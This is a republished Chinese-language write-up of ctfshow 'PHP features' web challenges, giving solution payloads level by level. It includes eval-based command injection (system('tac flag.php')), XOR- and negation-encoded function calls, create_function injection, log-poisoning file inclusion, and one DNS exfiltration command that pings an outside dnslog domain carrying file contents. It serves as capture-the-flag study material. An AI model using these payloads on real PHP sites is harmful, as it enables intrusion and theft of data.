0

佩斯利小姐House

 2 years ago
source link: https://ppbblbj.github.io/2022/01/17/ctfshow%20web%20php%E7%89%B9%E6%80%A7/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
| 佩斯利小姐House

发表于

2022-01-17

-–
title: ctfshow web php特性
date: 2021-10-30 10:47:28
author: 土哥

tags:
- 学习笔记
categories:我不选,我都要
- 学习笔记
excerpt: 坚持
description: 努力

Php特性

web89 通过数组绕过即可 构造?num[]=1 因为intval 非空的数组 会返回1 可绕

web90 因为我们提交的参数值默认就是字符串类型 所以我们可以直接输入 ?num=%204476 或者?num=4476a

web91 要了解换行符 %0a 观察表达式 要通过第一个 不能通过第二个 观察正则表达式
%0a符合前面是空匹配换行符后面所以可通过 第二个表达式 不符合 以php开头 以phpj结尾 所以构造 ?cmd=%0aphp

web92 学会进制转换绕过 0x前缀16进制 0前缀8进制 否则10进制 用16进制因为可以用字母0x117c
web93 屏蔽了字母 用8进制 010574

web94 strpos() 函数返回字符串在另一个字符串中第一次出现的位置
所以必须要找到0 而且不在首位 没有字母 于是构造?num=4476.0 其实.换成大部分符号都可以

web95 用八进制绕过但是 前面必须加上 加号或者空格 构造 ?num=+010574

web96可以用多种方式 绝对路径打开 / ?u=/ var/ www/ html /flag.php 相对路径 ?u= ./ flag.php 利用php伪协议 ?u=php:// filter / resource=flag.php

web 97 写过很多次 强类型直接数组绕过

web98
$_GET?$_GET=&$_POST:'flag'; 表示如果用GET传参 ,则用POST传参 flag覆盖
中间两行没用 highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:FILE); 表示 传参 的HTTP_FLAG为flag字符串 则读取flag文件 最后 highlight显示 所以其实get随便传参 但是post传参必须 HTTP_FLAG=flag

web99array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度 n_array () 函数搜索数组中是否存在指定的值 get后缀加上?n=1.php content= 上传之后 再后缀访问1.php post 先查看 文件 1=system('ls'); 发现flag36d.php 再1=system('tac flag36d.php);

web100
is_numeric() 函数用于检测变量是否为数字或数字字符串 eval() 函数用来执行一个字符串表达式,并返回表达式的值 var_dump() 函数 PHP 可用的函数 var_dump() 函数用于输出变量的相关信息。 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); v0取决于v1是不是数字;提示了 flag在 ctfshow 所以 v2要 var_dum($ctfshow) v3= 即可 或者/**/内联注释掉 所以构造 ?v1=1&v2=var_dump($ctfshow)&v3=; 得到 加上ctfshow{ } 0x2d改成-

web101
is_numeric() 函数用于检测变量是否为数字或数字字符串。
v1随便等于一个数字v2等于反射类echo new ReflectClass v3存在即可 所以url ?v1=1&v2=echo new ReflectClass&v3=;
将0x26 改为- 爆破最后一位数字

web102 call_user_func — 把第一个参数作为回调函数调用 die() 函数输出一条消息,并退出当前脚本 审计代码 v2是数字 影响v4
要v2
提交第三位的数字 要知道一个能命令执行又能够数字 base64再转为字符串再转为数字16进制的e的科学计数法 hex2bin将十六进制字符串转为二进制字符串 所以一定要知道5044383959474e6864434171594473这个神奇的字符串转为base64字符串再base64后为<?=cat *; 所以v2要传这个数字串 v3就用了打开文件 v1转化数字串为字符串 url:post:v1=hex2bin get:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php 要注意这题因为substr 从第三个字符开始 所以数字串前面要补两个0 对了还要查看源代码呜呜

web103 字符串屏蔽了php 但是我们没用到php 所以题解和web102一样

web104isset() 函数用于检测变量是否已设置并且非 NULL。这个题我熟悉 shal比较 数组绕过即可

web105变量覆盖 $$ 想error等于flag post:error=suces get :?suces=flag error=a a=flag都行

web106 数组绕过 五秒

web107 parse_str() 函数把查询字符串解析到变量中。 if($v2['flag']==md5($v3))要想办法绕过这个 v3=240610708(md5解密之后0e开头) v1=flag=0 结果均为0

web108 strrev() 函数反转字符串。ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false intval() 函数用于获取变量的整数值 这里忽略了ereg存在截断漏过 要绕过可以加字符串然后 %00即可 这题url ?c=xxx%00778

web109 php异常处理类 所以可以构造v1=ReflectionClass&v2=system('ls');看到 目录 然后 system('tac') ReflectionClass可换成exception

web 110 屏蔽了基本上所有符号 FilesystemIterator文件系统迭代器在PHP5.3新加入,继承自DirectoryIterator,可以通过传入路径得到索引该目录下所有文件的迭代器 ;getcwd()方法用于返回当前路径 要了解这个方法 url=?v1=FilesystemIterator&v2=getcwd 然后直接访问文件即可

web111 我们要知道全局变量 $GLOBALS — 引用全局作用域中可用的全部变量;一个包含了全部变量的全局组合数组。变量的名字就是数组的键。这题flag是外部变量要传进来 只能用全局变量 URL:?v1=ctfshow&v2=GLOBALS

hp
web113一个个找php支持的协议找的compress.zlib://file.gz /pro
先出那么多目录 以为错误 但是又可以进入php 浩好骚不太会
web114 不屏蔽filter 那就 ?file=php://filter/resource=flag.php

web115
trim() 函数移除字符串两侧的空白字符或其他预定义字符。 功能除去字符串开头和末尾的空格或其他字符。 filter() 函数用于过滤序列,过滤掉不符合条件的元素,返回由符合条件元素组成的新列表。 trim函数会过滤空格以及\n\r\t\v\0 但不会过滤\f 换页符号 这是也就是%0c 控制码
“\0” “%00” (ASCII 0 (0x00)),空字节符。
制表符
“\t” (ASCII 9 (0x09)),水平制表符。
空白字符:
“\n” (ASCII 10 (0x0A)),换行符。
“\v” “\x0b” (ASCII 11 (0x0B)),垂直制表符。
“\f” “%0c” 换页符
“\r” “%0d”(ASCII 13 (0x0D)),回车符。
空格:
“ “ “%20” (ASCII 32 (0x20)),普通空格符。

web123
哇这个php特性学到了 PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_ ,有一个特性可以绕过能使变量名出现“.”那就是特殊符号[ ,[会被替换成_,但其后的字符就不会被替换如 CTF[SHOW.COM=>CTF_SHOW.COM 还有要注意的是 审计代码eval(“$c”.”;”); 直接可以c也就是这题的fun=echo $flag 还不能有fl0g 我么可以先尝试一下CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo 1 发现可以直接传值进去 (Eval函数的一般语法:eval(string $code))
所以构造CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag 小小说一下var_dump() 函数用于输出变量的相关信息 和print_r这些都被禁用了 但是getcwd//取得当前目录 implode将一维数组转成字符串 implode(get_defined_vars())可以输出一部分看到f
**.***了 然后再找 发现echo implode(get_defined_vars())

web125
因为ban了好多输出函数 echo不能用了 相信办法罗 还是要看看别人的wp和hint不然这些压根就写不出来嘛
extract() 函数从数组中将变量导入到当前的符号表。所以可以fun=extract($_POST) 审计代码 因为不能直接echo $f
** 所以 if($fl0g===”flag_give_me”)就要fl0g=flag_give_me 所以构造为 CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me 官方hint是GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

*web126
又过滤了很多东西
如果没有 过滤f的话可以用数组 ?fl0g[]=flag_give_me 下面 extract($_GET[fl0g][0])
覆盖的 extract不能用,parse_str代替 fun=parse_str($_GET[a])但是长度超过16了 不能用 要用到a变量缩减$a=$_SERVER['argv'] 想办法把a调用出来 shell_exec($_get)//— 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回超字符tristam被禁用
只能用a a[0]第一个字符 a[fl0g]=flag_give_me变成1+fl0g=flag_give_me
构造get:?a=1+fl0g=flag_give_me post:CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1]) argv是脚本执行参数 调用是数组以空格输出 a[1]代表fl0g=flag_give_me 算强了

*web127 变量覆盖 直接 ctf_show=ilove36d php特性点和空格会被转为下划线 直接 ?ctf show=ilove36d即可
*web128新知识来了 gettext拓展的使用
开启拓展后 () 等效于 gettext() 题目代码中有call_user_func 相当于 /call_user_func — 把第一个参数作为回调函数调用/ 只可以看到第一个无参调用的函数?f1=&f2=phpinfo试一下可以看到phpinfo嘛 call_user_func('','phpinfo') 返回的就是phpinfo 用到get_defined_vars函数返回由所有已定义变量所组成的数组 所以构造为?f1=&f2=get_defined_vars

*web129
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
先说说别的解把 用 filter伪协议其实可以绕过 加上个|ctfshow就好,?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
或者就是用目录穿越漏洞绕过stripos 但是很卡
可以?f= ../ctfshow/../../www/html/flag.php ?f=/ctfshow/../../../../../../../../../var/www/html/flag.php

*web130
绕过这个正则第一个是大小写第二个是换行 在/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次!而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。当然懒惰模式并不影响解题思路,stripos() 函数是int值和布尔值肯定不是===,总之就是ctfshow前面必须得有字符才能匹配到,
所以直接f=ctfshow 其实有个非预期 数组绕过f[]=1

*web131
深悉正则(pcre)最大回溯/递归限制
大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
有36d
就没法绕过?+ 要超过这个长度就不匹配 超过十万次<?php
echo str_repeat('very',250000).'36Dctfshow'; 这样服务器就会爆了 就能绕过
根本复制粘贴不了 还是用脚本吧
import requests

url = “http://b17efffa-c0a0-42a4-9b49-45fb23ed490f.challenge.ctf.show/"

print(requests.post(url, data={“f”: “very”*250000+”36Dctfshow”}).text)

*web132
假的前端 先访问robots 再打开/admin mt_rand() 函数使用 Mersenne Twister 算法生成随机整数
代码审计 php运算符优先级 ||低于&&只需要username=admin 为真就不用看前面得了 还要code=admin即可 所以构造?username=admin&code=admin

*web133
substr(string,start,length)
有一个变量可以用$F, ?F=$F; 有个空格够六个字符可以直接跟shell命令 引入shell进行执行 在反引号里面 可以试一下 ?F=$F; touch 1执行后访问一下1 没有说明目录不可写 把数据带回来可以用一个没学过的骚操作 可用dnslog.cn 拿到一个域名 用ping 命令访问flag.可用dnslog.cn 拿到一个域名 ?F=$F; ping cat flag.php.bx51su.dnslog.cn -c 1 没有值 让他格式化 : ?F=$F; ping cat flag.php | grep ctfshow | tr -cd"[a-z]"/"[0-9]".bx51su.dnslog.cn -c 1 然后再在http://www.dnslog.cn/ 刷新一下数据 然后得到flag但是要自己设置- 8 4 4 12

*web134
extract – 从数组中将变量导入到当前的符号表
PHP parse_str() 函数 把查询字符串解析到变量
querystring 查询字符串 get读取 导入符号表 把post内容填充再释放
?_POST[key1]=36d&_POST[key2]=36d 因为是flag.php文件所以要查看源代码

*web136 exec是无回显的命令执行
方法1tee为Linux指令,tee把日志输出到log的同时输出到屏幕。
?c=ls /|tee 1 看根目录 把文件放进1里 再查看 /1
看到文件内容发现有flag文件 ?c=cat /fl49_15_h3r3|tee 2 再查看/2
再来个骚方法2 ?c=ls |xargs sed -i 's/exec/system///die也要改为echo再访问原网页 exec改为system die变为echo 改为echo 正则虽然被过滤 但还是会执行
xargs -i能将每项赋值给。。。能它能够捕获一个命令的输出,然后传递给另外一个命令,能是给命令传递参数的一个过滤器,也是组合多个命令的一个工具。具体见https://www.runoob.com/linux/linux-comm-xargs.html 然后直接就?c=ls / c=cat /f149_15_h3r3

*web137
call_user_func — 把第一个参数作为回调函数调用
getflag是静态方法 不用实例化(::可以不用实例化)直接调动
::可以调用一个静态的、不依赖于其他初始化的类方法.
所以这题调用静态方法 ctfshow=ctfshow::getFlag
如果这题不是静态类 那就要 ctfshow=call_user_func_array(array(new ctfshow(),'getFlag'),args) //String args[ ]或者String[ ] args表示给主方法传一个字符串数组. 而args是一个字符串数组的变量名,不是关键字,是

*web138
PHP strripos() 函数 查找 “php” 在字符串中最后一次出现的位置:
所以这题就是多屏蔽了个冒号 call_user_func 使用call_user_func函数,通过传入字符串函数,可以调用自定义函数,并且支持引用。中不但可以传字符串也可以传数组。 对于call_user_func具体见https://www.php.cn/php-weizijiaocheng-288646.html 构造ctfshow[]=ctfshow&ctfshow[]=getFlag

*web140
intval() 函数用于获取变量的整数值。 弱比较 所以 0和字符串相等
所以if(intval($code) == 'ctfshow'){ 让前者等于0即可
md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd()) 因为/var/www/html md5后开头的数字所以我们改用sha1
f1=md5&f2=sleep
f1=md5&f2=phpinfo
很多
所以但是要先看清楚是弱比较

web141
正则表达式中^的用法 用法二:(否)取反
正则表达式[\w]+,\w+,[\w+] 三者有何区别:
[\w]+和\w+没有区别,都是匹配数字和字母下划线的多个字符;
[\w+]表示匹配数字、字母、下划线和加号本身字符; $匹配结尾位置
总之就是
/^\W+$/ 作用是匹配非数字字母下划线的字符 前两个是数字 后一个非数字字母
1+phpinfo+1能执行 1+'phpinfo'+1也能执行 phpinfo一个个找ascii编码异或
然后再找 1-('system')('ls')-2
比如s是这样找
自己构造一个二进制 固定下来方便那就是1111 1010 也就是%fa
10001001 中间就是需要的值 上面和下面异或出来的结果 %89
ascii码的二进制01110011%73 (为什么要求中间的值呢因为等下会用第一行异或第二行得到第三行也就是这个字母的ascii 二进制
1-('system')('ls')-2 //而且统一要用url编码
-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa^%96%89)-
读出来就用1-('system')('tac f
') 空格是 1111 1010 %fa 1101 1010 %da 0010 0000 %20
-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)- 构造:?v1=1&v2=2&v3=-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)-

*web142
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
好蠢啊 0和任何数相乘为0呀

web143
?v1=1&v2=2&v3=
(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)* 与11一样减号被ban了 那就用*

*web144
换个位置
?v1=2&v3=-&v2=(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0) v3必须是一位的符号

web145 把^也屏蔽掉了 这题要学会运用三目运算符 大概就是? : ; “?”运算符的含义是:先求表达式1的值,如果为真,则执行表达式2,并返回表达式2的结果;如果表达式1的值为假,则执行表达式3,并返回表达式3的结果。 用其他的运算法构建字符串 这里用取反、
s的ascii 是 0111 0011 %73 那就是 1000 1100 %8c
system ls system(tac f
);
(%8c%86%8c%8b%9a%92)(%8b%9e%9c%df%d5%9e%d5) 要加上
?v1=1&v2=2&v3=?(%8c%86%8c%8b%9a%92)(%8b%9e%9c%df%d5%9e%d5):

*web146
:也被ban了 那就看看hint
可以用| 那就?v1=1&v2=2&v3=|(%8c%86%8c%8b%9a%92)(%8b%9e%9c%df%d5%9e%d5)|

*web147
正则:

if(!preg_match('/^[a-z0-9_]$/isD',$ctfshow)) { //其实就是不能数字字母开头
i :(PCRE_CASELESS)
 如果设定此修正符,模式中的字符将同时匹配大小写字母。
s:(PCRE_DOTALL)
 如果设定了此修正符,模式中的圆点元字符(.)匹配所有的字符,包括换行符(一般情况下‘.’是不能匹配‘\n’的)
D:(PCRE_DOLLAR_ENDONLY)
 如果设定了此修正符,模式中的美元元字符仅匹配目标字符串的结尾。
具体见 https://blog.csdn.net/qq_33095951/article/details/52513674
是P神代码审计小密圈2周年的一道题目,考点也比较明显,是create_function的代码注入,参考如下:解析create_function() && 复现
原理就是}闭合原来的函数,然后执行命令,然后再把多余的}给注释掉就可以了。但是这题相对难办的是这个正 则
使用命名空间绕过 见https://paper.seebug.org/94/
\是全局命名空间 php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
用命名函数 肯定先用}闭合 这就解释通了吧,我们用;}闭合了函数,phpinfo();后的/会注释掉之后的代码,
先看目录 post:ctf=\create_function get:?show=}system('ls ');/

看flag post:ctf=\create_function get:?show=}system('tac flag.php ');/

web148
用异或
读出来就用('system')('tac f
') 空格是 1111 1010 %fa 1101 1010 %da 0010 0000 %20
(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0) 显示说没分号结尾

*web149
foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:
foreach (iterable_expression as $value)
statement
foreach (iterable_expression as $key => $value)
statement
unlink() 函数删除文件。
第一种格式遍历给定的 iterable_expression 迭代器。每次循环中,当前单元的值被赋给 $value。
第二种格式做同样的事,只除了当前单元的键名也会在每次循环中被赋给变量 $key。
注意 foreach 不会修改类似 current() 和 key() 函数所使用的数组内部指针。
还能够自定义遍历对象。
可以很容易地通过在 $value 之前加上 & 来修改数组的元素。此方法将以引用赋值而不是拷贝一个值。
先往index.php里面写get:?ctf=index.php post:show=
post:1=system('ls /');
post:1=system('cat /ctfshow_fl0g_here.txt');

*web150
定义和用法 strrpos() 函数查找字符串在另一字符串中最后一次出现的位置
if($isVIP && strrpos($ctf, “:”)===FALSE 不能有冒号
这题可以重温下日志包含 web80
这题先往UA写执行 然后get:?isVIP=true post//包含日志文件:ctf=/var/log/nginx/access.log&1=phpinfo(); 看到有回显
然后ctf=/var/log/nginx/access.log&1=system('tac flag.php');

*web120plus
代码审计 其实autoload是独立的方法 ctfshow的类在上面已经结束了
有个类判断 能控制 ——ctfshow—— 就能控制 $class 从而控制$class
下划线被ban了 使用?..CTFSHOW..=xxx可以绕过正则匹配,利用空格 [ . +自动转换为_的特性
我草 直接flag就在php里面


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK